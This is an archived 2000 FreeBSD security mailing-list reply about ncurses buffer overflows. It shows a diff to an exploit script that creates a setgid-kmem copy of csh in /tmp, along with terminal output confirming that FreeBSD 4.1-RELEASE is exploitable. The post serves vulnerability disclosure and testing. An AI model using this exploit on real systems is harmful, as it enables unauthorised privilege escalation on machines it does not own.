From owner-freebsd-security Tue Oct 10 17:49:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from toad.com (toad.com [140.174.2.1]) by hub.freebsd.org (Postfix) with ESMTP id 08DF537B502 for ; Tue, 10 Oct 2000 17:49:35 -0700 (PDT) Received: from grok.example.net (unknown@cr479972-a.rct1.bc.wave.home.com [24.113.37.168]) by toad.com (8.7.5/8.7.3) with ESMTP id RAA11142; Tue, 10 Oct 2000 17:49:33 -0700 (PDT) Received: by grok.example.net (Postfix, from userid 1000) id 4A4F621316E; Tue, 10 Oct 2000 17:50:13 -0700 (PDT) Date: Tue, 10 Oct 2000 17:50:13 -0700 From: Steve Reid To: Mike Silbersack Cc: freebsd-security@FreeBSD.ORG Subject: Re: ncurses buffer overflows (fwd) Message-ID: <20001010175013.D9112@grok> References: <20001010165908.C9112@grok> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Mike Silbersack on Tue, Oct 10, 2000 at 07:11:01PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Oct 10, 2000 at 07:11:01PM -0500, Mike Silbersack wrote: > Well, the advisory states that ncurses 5.0 and before are vulnerable. It > looks like 5.1-prerelease is what 4.1+ are using. So, until we here more > from warner/kris, I'm assuming that 4.0/3.x are vulnerable, but 4.1+ is > safe. The exploit just needs slight modification: --- exploit.csh.orig Tue Oct 10 17:42:49 2000 +++ exploit.csh Tue Oct 10 17:46:53 2000 @@ -11,7 +11,7 @@ #!/bin/csh cp /bin/csh /tmp -/usr/sbin/chown venglin.kmem /tmp/csh +chgrp kmem /tmp/csh chmod 2755 /tmp/csh __EOF__ 4.1-R _is_ exploitable: steve@grok:/home/steve% ./exploit.csh -rwxr-sr-x 1 steve kmem 622908 Oct 10 17:48 /tmp/csh steve@grok:/home/steve% uname -srm FreeBSD 4.1-RELEASE i386 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message